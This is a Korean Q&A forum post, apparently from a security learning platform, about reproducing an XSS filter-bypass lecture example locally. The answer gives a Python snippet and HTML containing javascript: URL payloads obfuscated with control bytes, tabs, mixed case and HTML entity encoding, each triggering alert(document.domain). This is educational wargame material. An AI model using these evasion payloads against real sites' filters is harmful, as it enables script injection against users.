XSS 필터링 우회 강의 질문
강의 자료중에
https://learn.dreamhack.io/318#8
이 부분을 로컬에서 실습해보려고 했는데 로컬에서는 안되고 있습니다ㅠㅠ
정규화하거나 HTML Entity Encoding을 통한 XSS우회 해보고 싶은데 로컬에서
실습해보려면 어떤 코드가 있어야 하나요???
Click me클릭시에 alert가 안 뜨고 요로케 되고 있는 상태입니다!!
#xss
작성자 정보
답변
1
2dedce
워게임 고인물
저기 표시된 \1
\4
\t
이런 것들이 2바이트 문자로 쓰는 것이 아니라 raw하게 1바이트로 0x01
, \0x04
, \0x09
가 들어가는 것입니다.
>>> # 파이썬에서
>>> open("./test.html", "w").write("""
... <!DOCTYPE html>
... <html>
... <head>
... </head>
... <body>
...
... <a href="\1\4jAVasC\triPT:alert(document.domain)">Click me!</a>
... <iframe src="\1\4jAVasC\triPT:alert(document.domain)">
...
... </body>
... </html>
... """)
그리고 test.html
을 켜보면 잘 작동합니다. 아래는 그때 html코드입니다.
<a href="jAVasC riPT:alert(document.domain)">Click me!</a>
<iframe src="jAVasC riPT:alert(document.domain)">
\1
, \4
같이 non-printable한 문자가 브라우저에 ,
로 보이네요. 적어도
\t
는 탭키니까 문자 사이로 건너뛰는 모습이 보입니다.
근데 C스타일의 이스케이프 시퀀스처럼 \4
라고 쓰지 않고 html entity encode를 이용해서 
라고 쓴 것은 잘 작동합니다.
<a href="JavasCript:alert(document.domain);">Click me!</a>
<!--
 = ascii 1
 = ascii 4
a = ascii 97 = 'a'
a = ascii 0x61 = ascii 97 = 'a'
: = ':'
-->